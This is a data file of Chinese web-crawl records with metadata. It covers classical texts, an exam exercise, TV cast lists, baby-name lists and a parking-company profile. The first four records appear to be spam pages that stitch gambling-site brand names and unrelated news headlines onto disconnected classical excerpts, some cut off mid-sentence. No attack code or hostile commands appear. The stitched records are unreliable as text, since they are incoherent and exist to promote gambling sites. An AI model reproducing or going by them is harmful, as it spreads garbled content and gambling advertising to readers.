+{"text":"易彩一彩民福地测速全国大陆地区2月份雅思托福GRE考试取消\n十六年,肃侯游大陵,出於鹿门,大戊午扣马曰:\"耕事方急,一日不作,百日不食。\"肃侯下车谢。\n乐欬\n卜有卖若买臣妾马牛。得之,首仰足开,内外相应;不得,首仰足肣,呈兆若横吉安。\n高祖始微少时,数闻公子贤。及即天子位,每过大梁,常祠公子。高祖十二年,从击黥布还,为公子置守冢五家,世世岁以四时奉祠公子。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/www.scjlbus.com\/dv3wb74093.html","date":"2020-01-28T22:35:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251783342.96\/warc\/CC-MAIN-20200128215526-20200129005526-00114.warc.gz","language":"lzh","language_score":0.51732409,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5173240900039673, \"cmn_Hani_score\": 0.21757742762565613, \"nan_Hani_score\": 0.14643827080726624, \"wuu_Hani_score\": 0.01618708111345768, \"yue_Hani_score\": 0.01408872939646244}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.441,"perplexity_score":500.0,"cluster_detection":1} +{"text":"365体育手机版联合资信新冠肺炎疫情对水泥行业影响研究\n将军曹襄,以平阳侯为後将军,从大将军出定襄。襄,曹参孙也。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n天降祉福,唐叔得禾,异母同颖,献之成王,成王命唐叔以餽周公於东土,作餽禾。周公既受命禾,嘉天子命,作嘉禾。东土以集,周公归报成王,乃为诗贻王,命之曰鸱鸮。王亦未敢训周公。\n太史公曰:古者人臣功有五品,以德立宗庙定社稷曰勋,以言曰劳,用力曰功,明其等曰伐,积日曰阅。封爵之誓曰:\"使河如带,泰山若厉。国以永宁,爰及苗裔。\"始未尝不欲固其根本,而枝叶稍陵夷衰微也。\n子曰:\"默而识之,学而不厌,诲人不倦,何有于我哉?\"","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/vz3xd.220nz.com\/JFLLN86991.html","date":"2020-02-27T08:01:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146665.7\/warc\/CC-MAIN-20200227063824-20200227093824-00548.warc.gz","language":"lzh","language_score":0.5346390009,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5346390008926392, \"cmn_Hani_score\": 0.24563613533973694, \"nan_Hani_score\": 0.12780232727527618, \"wuu_Hani_score\": 0.018447529524564743, \"yue_Hani_score\": 0.013086626306176186, \"jpn_Jpan_score\": 0.010264681652188301}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.437,"perplexity_score":500.0,"cluster_detection":1} +{"text":"wellbet吉祥体育网站喜讯大连今日有1例境外输入确诊患者出院累计2例\n弃为兒时,\n吴楚为乱,宗属唯婴贤而喜士,士乡之,率师抗山东荥阳。作魏其武安列传第四十七。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n湣王之遇杀,其子法章变名姓为莒太史敫家庸。太史敫女奇法章状貌,以为非恆人,怜而常窃衣食之,而与私通焉。淖齿既以去莒,莒中人及齐亡臣相聚求湣王子,欲立之。法章惧其诛己也,久之,乃敢自\n臣闻古之君子,交绝不出恶声;忠臣去国,不絜其名。臣虽不佞,数奉教於君子矣。恐侍御者之亲左右之说,不察疏远之行,故敢献书以闻,唯君王之留意焉。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/xhzwb.zdbzf.com\/appypbrj\/76012450.html","date":"2020-04-06T23:30:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371662966.69\/warc\/CC-MAIN-20200406231617-20200407022117-00465.warc.gz","language":"lzh","language_score":0.4482109547,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4482109546661377, \"cmn_Hani_score\": 0.3415776193141937, \"zxx_Latn_score\": 0.040745459496974945, \"nan_Hani_score\": 0.029557708650827408, \"yue_Hani_score\": 0.013421762734651566, \"und_Yiii_score\": 0.01319510955363512, \"und_Tang_score\": 0.011284626089036465}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.336,"perplexity_score":500.0,"cluster_detection":1} +{"text":"bf88必发官网下载杰瑞高管疑似性侵养女 公司声明:已与鲍某解除劳动合同\n互乡难与言,童子见,门人惑。子曰:\"与其进也,不与其退也,唯何甚?人洁己以进,与其洁也,不保其往也。\"\n鹿毛寿谓燕王:\"不如以国让相子之。人之谓尧贤者,以其让天下於许由,许由不受,有让天下之名而实不失天下。今王以国让於子之,子之必不敢受,是王与尧同行也。\"燕王因属国於子之,子之大重。或曰:\"禹荐益,已而以启人为吏。及老,而以启人为不足任乎天下,传之於益。已而启与交党攻益,夺之。天下谓禹名传天下於益,已而实令启自取之。今王言属国於子之,而吏无非太子人者,是名属子之而实太子用事也。\"王因收印自三百石卖已讼而效之子之。子之南面行王事,而哙老不听政,顾为臣,国事皆决於子之。\n明年,上初至雍,郊见五畤。後常三岁一郊。是时上求神君,舍之上林中氾氏观。神君者,长陵女子,以子死悲哀,故见神於\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n高祖之东垣,过柏人,赵相贯高等谋弑高祖,高祖心动,因不留。代王刘仲弃国亡,自归雒阳,废以为合阳侯。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/v16pw.hebeiyete.com\/bwlwq\/","date":"2020-04-09T20:36:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371876625.96\/warc\/CC-MAIN-20200409185507-20200409220007-00193.warc.gz","language":"lzh","language_score":0.5854260325,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5854260325431824, \"cmn_Hani_score\": 0.29342329502105713, \"nan_Hani_score\": 0.07990925759077072, \"wuu_Hani_score\": 0.012728373520076275}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.418,"perplexity_score":500.0,"cluster_detection":1} +{"text":"特别说明: 下载前务必先预览,自己验证一下是不是您要下载的文档。\n- 内容简介\n-\n期末语文复习 文言文阅读训练 命题人 图尔汗 张萍 审题人 邓拥军 一 下面的文言文 完成 1 4 题 于是秦王大怒 益发兵诣赵 诏王翦军以伐燕 十月而拔蓟城 燕王喜 太子丹等尽率其精兵 东保于辽东 秦将李信追击燕王急 代王嘉乃遗燕王喜书曰 秦所以尤追燕急者 以太子丹故也 今王诚杀丹献之秦王 秦王必解 而社稷幸得血食 其后李信追丹 丹匿衍水上 燕王乃使使斩 太子丹 欲献之秦 秦复进兵攻之 后五年 秦卒灭燕 虏燕王喜 其明年 秦并天下 立号为皇帝 于是秦逐太子丹 荆轲之客 皆亡 高渐离变名姓为人庸保 匿作于宋子 久之 作苦 闻其家堂上客击筑 彷徨不能去 每出言曰 彼有善有不善 从者以 告其主 曰 彼庸乃知音 窃言是非 家丈人 召使前击筑 一坐称善 赐酒 而高渐离念久隐畏 约无穷时 乃退 出其装匣中筑与其善衣 更容貌而前 举坐客皆惊下与抗礼以为上客使击筑而歌 客无不流涕而去者 宋子传客之 闻于秦始皇 秦始皇召见 人有识者 乃曰 高渐离也 秦皇 帝惜其善击筑 重赦之 乃矐其目 使击筑 未尝不称善 稍益近之 高渐离乃以铅","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.buswk.com\/article\/313824.html","date":"2020-07-13T22:09:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657146845.98\/warc\/CC-MAIN-20200713194203-20200713224203-00388.warc.gz","language":"lzh","language_score":0.9306935668,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9306935667991638, \"cmn_Hani_score\": 0.038895461708307266, \"nan_Hani_score\": 0.028025204315781593}","num_words":80,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.192,"stopwords_ratio":0.013,"flagged_words_ratio":0.0,"lang_id_score":0.942,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n楊明 高海寧 陳曉華 姜大衛 馬海倫 李成昌 莊思敏 黃祥興 容天佑 樓嘉豪 何啓南 朱敏瀚 於洋 董敬文 楊玉梅 陳狄克 蔡國威 李豪 關梓陽 吳嘉儀 彭翔翎 曾慧雲 劉桂芳 蘇麗明 黃梓瑋 尹詩沛 梁珈詠 陳俊堅 蔡康年 王俊棠 秦啓維 鄧以婷 容羨媛 譚偉權 馮奕森 葉蒨文 朱斐斐 周梓盈 陳嘉慧\n田蕊妮 曹永廉 李思捷 李國麟 韋家雄 林凱恩 李綺雯 羅天宇 林師傑 餘思霆 林宣妤 尹詩沛 徐玟晴 李君妍 白雲 梁芷珮 陳俊堅 王致迪 丘梓謙 丁樂鍶 曹思詩 麥皓兒 黃雪兒 蓋世寶 馮素波 胡楓 李楓 李霖恩 易智遠 張漢斌 梁珈詠 陳偉洪 何佩珉 董敬文 周志康 陳靖雲 劉宸熙 袁文傑 梁茵 劉天龍 陳榮峻 盧峻峯 吳沚默 陳嘉嘉 王樹熹 區明妙\n譚俊彥 陳山聰 黃智雯 楊秀惠 江欣燕 林嘉華 趙希洛 何遠東 何啓南 楊卓娜 羅浩銘 林師傑 杜大偉 鄭恕峯 蕭徽勇 方紹聰 唐嘉麟 尹詩沛 蔡國威 謝可逸 陳婉婷 陳家良 阮兒 司徒暉 莫偉文 孟苑榕 邵展鵬 黃凱琪 林浩文 丁樂鍶 羅永健 鄧嘉傑 何晉樂 陳戩浩 鄭雋熹 梁嘉駿 梁百川 梁珈詠 曾敏 曾慧雲 餘應彤 張雪瑩 關浩揚 梁雯蔚 於洋 黃子雄 劉芷希 李善恆 黃可盈\n蕭正楠 姚子羚 黃智賢 洪永城 何廣沛 張兆輝 姜大衛 吳岱融 陳瀅 曾航生 甄詠珊 梁舜燕 張達倫 李璧琦 文雪兒 秦煌 李楓 盧宛茵 馮素波 彭懷安 楊瑞麟 林韋辰 鄧永健 劉思希 李霖恩 古明華 魯振順 邵卓堯 莊思明 何綺雲 尹詩沛 吳沚默 李天縱 譚坤倫 葉蒨文 陳嘉慧 何遠東 張智軒 康華 劉芷希 崔錦棠 莫家淦 何佩珉 易智遠 黃建東 蔡國威 杜大偉 煒烈 秦啓維 鄧以婷 喬寶寶 黃柏文 歐陽偉豪 鄭詠謙 張本立 曾健明\n郭晉安 吳卓羲 陳錦鴻 徐子珊 梁靖琪 劉兆銘 周驄 郭少芸 許紹雄 梁競徽 陳曼娜 姚嘉妮 汪琳 郭政鴻 夏萍 楊瑞麟 簡慕華 黃澤鋒 梁舜燕 麥長青 祝文君 姚瑩瑩 吳諾弘 羅仲謙 麥嘉倫 梁健平 鄺佐輝 鍾志光 夏竹欣 李穎芝 李璧琦 王青 張紋嘉 陳榮峻 陳狄克 周寶霖 李鴻傑 招石文 楊潮凱 何慶輝 陳志健 李偉健 沈可欣 尹詩沛 李君妍 曾健明 陳琪 範彩兒 陳建文 陳珈穎 楊證樺 邵卓堯 高俊文 陳勉良 郭田葰 何俊軒 羅天池 陳宛蔚 阮兒 蘇恩磁 李興華 羅泳嫺 布偉傑 余子明 蕭凱欣 方\n袁偉豪 唐詩詠 朱晨麗 胡鴻鈞 黃祥興 賴慰玲 林子善 張彥博 趙希洛 黃子雄 郭子豪 王歌慧 張國強 煒烈 鄭敬基 範文雅 沈可欣 顧冠忠 祝文君 李日升 方紹聰 李啓傑 邵卓堯 許家傑 關浩揚 衛志豪 鄭家生 姚浩政 莫家淦 尹詩沛 楊家寶 楊潮凱 崔錦棠 秦啓維 李楓 林淑敏 朱斐斐 曹思詩 林希靈 潘梓鋒 謝芷倫 黃愷怡 餘應彤 李海生 陳勉良 彭紀諺 容羨媛 周麗欣 丘梓謙 李漫芬 劉溫馨 陳婉衡 陳靖雲 沈愛琳 莫偉文 徐玟晴 周梓盈 關偉倫 趙樂賢 繆家慶 招浩明 余子明 楊證樺 魏惠文 鄧\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E5%B0%B9%E8%A9%A9%E6%B2%9B------------.html","date":"2020-09-24T21:49:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400220495.39\/warc\/CC-MAIN-20200924194925-20200924224925-00506.warc.gz","language":"lzh","language_score":0.819018364,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8190183639526367, \"cmn_Hani_score\": 0.10161051899194717, \"nan_Hani_score\": 0.07304927706718445}","num_words":324,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.836,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n鄭昊 張墨錫\n趙櫻子 成毅 韓棟 梁婧嫺 韓承羽 楊超越 王勁松 王琳 黃宥明 張睿 何中華 鄔靖靖 劉萌萌 趙文浩 趙東澤 薛澤源 唐瑞雪 張墨錫 傅方俊 黃羿 李澤 付夢妮 盧星宇 楊晉恆\n蔡凡熙 項婕如 謝金燕 劉奕兒 張墨錫\n章濤 張墨錫 紀亞文 佟晨潔 楊羽 徐唯 芮偉航 艾佳妮\n霍建華 楊紫 左小青 任程偉 牛駿峯 高鑫 瑛子 楊新鳴 穆麗燕 王彩平 呂夏 劉真君 李澤鋒 靳東 張墨錫 趙志君\n張墨錫 楊東翰\n王志飛 李曉峯 程煜 吳冕 丁勇岱 劉敏濤 方子哥 褚栓忠 張墨錫 馬精武 來喜 鄔立朋 傅晶\n鄭昊 張墨錫 柯伊玟 趙梓源 王佳琦\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E5%BC%B5%E5%A2%A8%E9%8C%AB------------.html","date":"2020-09-30T08:53:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402123173.74\/warc\/CC-MAIN-20200930075754-20200930105754-00116.warc.gz","language":"lzh","language_score":0.6252880096,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6252880096435547, \"cmn_Hani_score\": 0.27041181921958923, \"nan_Hani_score\": 0.06823590397834778, \"yue_Hani_score\": 0.03568865358829498}","num_words":78,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.737,"perplexity_score":500.0,"cluster_detection":1} +{"text":"劇情介紹\n陸劇《紅墨坊》由許晴 陳建斌 張國立 馬蘇 李大強 寇振海 嶽躍 盧映 法提麥·雅琦 魏宗萬 葉鈞 李雯雯 王燁 王光輝 彭志東 王漢文 趙俊傑 侯祥玲 錢建平 謝林 劉威 許敬義 石黎明 徐曉剛 王彪 孟謙 陽光 薛曉龍 譚幸 劉小蕙 柳小海 蔡澤明 方偉 許敏 龔志璽 宋光明 任學海 洪剛 安瑞雲 黃曉龍 裘海峰 王波 李寶龍 常樂 任舞 劉波 童曉梅 劉廣厚 楊曉強 羅蓬 韓傢勇 趙建綱 唐建中 田西平 王慶倫 趙恩全 木木 趙樂 李宗強 藝龍 郭明翰 周黎 張金泉 嚴慶良 遲為曄 張洪敬 等主演,張紹林 執導。","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/itv8.tv\/show\/184487.html","date":"2021-06-22T14:51:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623488517820.68\/warc\/CC-MAIN-20210622124548-20210622154548-00285.warc.gz","language":"lzh","language_score":0.9703638554,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9703638553619385, \"nan_Hani_score\": 0.01599450595676899, \"cmn_Hani_score\": 0.012175332754850388}","num_words":69,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.273,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.967,"perplexity_score":500.0,"cluster_detection":1} +{"text":"男孩八字名字免费\n好听的男孩名字:\n玮伦 涛阳 浩欧 楷明 浩然 圣辉 浩元 鸿灿 棋励 世辉 明耀 昌鸿 涛锦 明轩 博翰 俊瀚 海江 睿博 圣材 弘桦 棋辰 君磊 昌龙 君泰 玮伦 晋龙 泽翔 玮博 圣康 游孝 怀鸣 泰恒 鸿理 昊瀚 维新 德凡 彤博 柏江 翰佑 玮依 胜天 世奇 轩诚 世泽 泽兴 博邦 棋玮 浩润 依昭 博信 展鹤 圣轩 弘名 畅德 棋昌 圣玮 远畅 弘启 荣辉 泰轩 羽道 新旷 天佑 金波 海杉 智玮 昌毅 荣博 泽霖 杰城 雪德 晟睿 泽柏 光辉 若溪 志强 鼎城 旭熙 翰江 志瑞 智轩 强邦 玮傲 畅风 韵琪 绍辉 沙欧 玮诚 秀元 彬韵 昌仁 文锋 博超 安皓 哲瑾 玮誉 浩坤 依博 杰欧 浩明 柏鹤 彬羽 海尊 星韵 安逸 韵涛 文信 俊宇 浩博 崇融 海尘 涛唯 棋泰 文啸 泽天 浩楷 浩弘 涛轩 哲琪 杰云 依强 秀哲 容德 强志 鼎羽 浩强 文靖 昌宇 德依 博海 志国 哲城 钦文 远欧 泰波 浩瑞 福青 翰波 翰辰 展鹏 杰毅 棋帆 翰浩 雨琪 雨松 幽德 文玮 高远 德材 玄彤 玮靖 鸿承 德闻 文国 杰羽 德遥 涛天 杰棋 延望 俊韵 瀚拓 世豪 韵辉 知雪 棋桦 玮琪 秀轩 俊畅 荣杭 君鸣 文杭 泽伟 启明 浩楠 俊晖 涛佑 德欢 彤辰 羽菲 全智 昭明 哲龙 宇朋 博远 杉月 辉睿 博星 雨泰 旭帆 游羽 仁毅 展尚 晓涛 俊弘 游浩 浩瀚 韵龙 旭乔 君尧 轩庭 君伟 国蓝 弘云 浩辉 博瑜 苑宇 哲楷 弘瑜 韵舟 仁鸿 杰恩 鼎舟 文羽 晋茂\n好听的女孩名字:\n月霞 问雁 碧菡 问夏 诗敏 露静 榆曼 娜盈 妮莲 玉美 舒婷 巧凤 心蓝 甜晴 佳琦 晓槐 珈琳 以莲 语芙 舒琪 碧松 晓霞 翠叶 双萍 水玲 诗雯 雨霞 沐萱 莺花 秀媛 紫嫣 晓洁 绮菱 觅柔 欣钰 诗懿 淑娴 忆翠 茹珍 向珊 悦晴 南妍 紫青 晔娟 欣悦 寄雪 菲翔 昌丽 艺飞 自洁 云灵 邈琳 雪雁 珊珊 宛海 安尼 秋灵 黛双 莎莎 婉兰 柳灵 杨茹 冰颖 卓静 馨月 惠怡 念烟 雨萌 凤恬 甜真 嘉玲 婕珍 俐莹 云青 彤娅 素洁 觅嫣 珊缦 黛珊 秋蕊 可怡 荷晴 月慧 月霞 芊婉 雨晴 甜净 嘉莉 海蓉 晴琪 静秋 雨燕 玉硕 灵槐 梦果 笑柏 莲玫 清惠 雨欣 佳忆 紫薇 欣媛 含绿 新琳 念桃 雁妍 芸娇 楚楚 荟田 丹雪 尔琴 晴韵 娇娥 可馨 尔珍 梨曦 纹月 甜绿 俊茹 晴晴 秋云 慧慧 雨诗 觅凤 竹凤 绮玉 紫雪 悦媛 晓雨 海婧 怡馨 白媛 雪彤 书倚 向姬 颖怡 亚蕾 韵清 媛乔 寻雪 义晗 梓瑜 柏晴 菲雁 炜玥 敏熙 妮曼 逸菲 佳雯 雅蓉 晴桂 馨蕊 璐馨 津妤 珍雯 雯昕 琪蕾 春迪 舞霄 可悦 思宇 忆霜 依晨 歆巧 茹桃 晓玫 书兰 婉芸 璇娅 冰荷 缦筠 菡香 蕊馨 瑜菡 静茹 如洁 丽丽 媛盈 玉洁 欢旋 清云 新蕊 冰丹 文倩 寄春 迎蓉 璇倚 仟艺 晓燕 林玲 玉盈 幻珊 彦妮 听蝶 景琦 佳璇 桑依 美夏 思琪 凝甜 蔡璇\n关注我们的头条号,点击底部\"宝宝起名\",给宝宝起个满意的名字!\n请点击下面「了解更多」按钮,查看更多好名字。","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.9bazi.com\/bazi\/295372.htm","date":"2022-11-29T03:36:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710685.0\/warc\/CC-MAIN-20221129031912-20221129061912-00168.warc.gz","language":"lzh","language_score":0.4813464582,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.48134645819664, \"cmn_Hani_score\": 0.45247796177864075, \"nan_Hani_score\": 0.04358012229204178}","num_words":420,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.324,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.544,"perplexity_score":500.0,"cluster_detection":1} +{"text":"四川萊貝停車設備有限公司致力于機械式立體車庫銷售、停車設備租賃經營、立體停車位安裝拆除、機械車庫維護維保、立體停車場運營管理等。我們為住宅小區、商業樓盤、車站、學校、酒店、公共停車場等提供各種停車類型設備及服務,從一個停車場一個區域到一個城市提供全面的停車經營服務。\n公司嚴格按照ISO9001:2015質量管理體系、ISO14001:2015環境管理體系、ISO45001:2018職業健康安全管理體系要求,優化組織架構,規范內控體系,明確部門分工,積極開拓市場。業務特色鮮明,在市場營銷、風險控制、業務創新、人力資源管理等方面均衡發展,形成覆蓋全面的業務網絡,建立科學的管理模式。\n公司與多家設備制造商、第三方擔保商、服務團隊、停車管理等多家單位形成戰略合作關系,一如既往地秉承\"高效、務實\"的服務理念,抓住機遇,創造奇跡,在盡可能短的時間內,做大做強做出LAIBEI萊貝品牌。通過持續改進,不斷設計并優化停車方案,為客戶提供全方位、多元化的立體停車租賃經營以及售后維護維保服務,致力于成為更具創新力的立體停車經營服務商。\n為了響應快速發展的停車位需求和引入社會資源優化停車產業結構的號召,萊貝停車設備全面配合政策,改善車主停車體驗,解決城市停車難題,將未來停車產業推向新的領域。\n公司充分利用人才、服務、技術和設備優勢,租賃經營、維護維保系列適合國情、高性價比的產品。主要有:簡易升降式、升降橫移式。該產品具有占地面積少、空間利用率高、安裝方便、能耗低、噪音小等特點,適用于各種場地和建設要求。公司為客戶提供多項服務,直至客戶滿意。\n精心組織,科學管理,為業主方提供滿意的設備和服務;\n識別危險,控制風險,保證所有員工的職業健康和安全;\n節能降耗,防止污染,對環境因素有效的控制施加影響;\n誠信守法,持續改進,創造行業內外具有影響力的企業。\n重慶 萬州 涪陵 渝中 大渡口 江北 沙坪壩 九龍坡 南岸 北碚 綦江 大足 渝北 巴南 黔江 長壽 江津 合川 永川 南川 璧山 銅梁 潼南 榮昌 開州 梁平 武隆 城口 豐都 墊江 忠縣 云陽 奉節 巫山 巫溪 石柱 秀山 酉陽 彭水 云南 昆明 曲靖 玉溪 保山 昭通 麗江 普洱 臨滄 楚雄 紅河 文山 西雙版納 大理 德宏 怒江 迪慶 五華 盤龍 官渡 西山 東川 呈貢 晉寧 富民 宜良 石林 嵩明 祿勸 尋甸 安寧 麒麟 沾益 馬龍 陸良 師宗 羅平 富源 會澤 宣威 紅塔 江川 澄江 通海 華寧 易門 峨山 新平 元江 隆陽 施甸 龍陵 昌寧 騰沖 昭陽 魯甸 巧家 鹽津 大關 永善 綏江 鎮雄 彝良 威信 水富 古城 玉龍 永勝 華坪 寧蒗 思茅 寧洱 墨江 景東 景谷 鎮沅 江城 孟連 瀾滄 西盟 臨翔 鳳慶 云縣 永德 鎮康 雙江 耿馬 滄源 雙柏 牟定 南華 姚安 大姚 永仁 元謀 武定 祿豐 個舊 開遠 蒙自 彌勒 屏邊 建水 石屏 瀘西 元陽 金平 綠春 河口 硯山 西疇 麻栗坡 馬關 丘北 廣南 富寧 景洪 勐海 勐臘 漾濞 祥云 賓川 彌渡 南澗 巍山 永平 云龍 洱源 劍川 鶴慶 瑞麗 芒市 梁河 盈江 隴川 瀘水 福貢 貢山 蘭坪 香格里拉 德欽 維西 貴州 貴陽 六盤水 遵義 安順 畢節 銅仁 黔西南 黔東南 黔南 南明 云巖 花溪 烏當 白云 觀山湖 開陽 息烽 修文 清鎮 鐘山 六枝 水城 盤州 紅花崗 匯川 播州 桐梓 綏陽 正安 道真 務川 鳳岡 湄潭 余慶 習水 赤水 仁懷 西秀 平壩 普定 鎮寧 關嶺 紫云 七星關 大方 黔西 金沙 織金 納雍 威寧 赫章 碧江 萬山 江口 玉屏 石阡 思南 印江 德江 沿河 松桃 興義 興仁 普安 晴隆 貞豐 望謨 冊亨 安龍 凱里 黃平 施秉 三穗 鎮遠 岑鞏 天柱 錦屏 劍河 臺江 黎平 榕江 從江 雷山 麻江 丹寨 都勻 福泉 荔波 貴定 甕安 獨山 平塘 羅甸 長順 龍里 惠水 三都水 甘肅 蘭州 嘉峪關 金昌 白銀 天水 武威 張掖 平涼 酒泉 慶陽 定西 隴南 臨夏 甘南 城關 七里河 西固 紅古 永登 皋蘭 榆中 永昌 白銀 平川 靖遠 會寧 景泰 秦州 麥積 清水 秦安 甘谷 武山 張家川 涼州 民勤 古浪 天祝 甘州 肅南 民樂 臨澤 高臺 山丹 崆峒 涇川 靈臺 崇信 莊浪 靜寧 華亭 肅州 金塔 瓜州 肅北 阿克塞 玉門 敦煌 西峰 慶城 環縣 華池 合水 正寧 寧縣 鎮原 安定 通渭 隴西 渭源 臨洮 漳縣 岷縣 武都 成縣 文縣 宕昌 康縣 西和 禮縣 徽縣 兩當 康樂 永靖 廣河 和政 東鄉 積石山 合作 臨潭 卓尼 舟曲 迭部 瑪曲 碌曲 夏河 陜西 西安 銅川 寶雞 咸陽 渭南 延安 漢中 榆林 安康 商洛 新城 碑林 蓮湖 灞橋 未央 雁塔 閻良 臨潼 長安 高陵 鄠邑 藍田 周至 王益 